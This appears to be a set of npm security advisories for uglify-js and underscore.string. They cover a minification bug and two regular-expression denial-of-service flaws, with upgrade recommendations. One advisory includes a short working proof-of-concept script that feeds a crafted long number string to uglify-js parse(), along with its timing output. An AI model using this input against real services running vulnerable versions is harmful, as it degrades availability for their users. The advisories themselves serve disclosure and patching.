Version Details and Security Vulnerabilities

Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.

Recommendation

Upgrade UglifyJS to version >= 2.4.24.

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Versions of underscore.string prior to 3.3.5 are vulnerable to Regular Expression Denial of Service (ReDoS).

The function unescapeHTML is vulnerable to ReDoS due to an overly-broad regex. The slowdown is approximately 2s for 50,000 characters but grows exponentially with larger inputs.

Recommendation

Upgrade to version 3.3.5 or higher.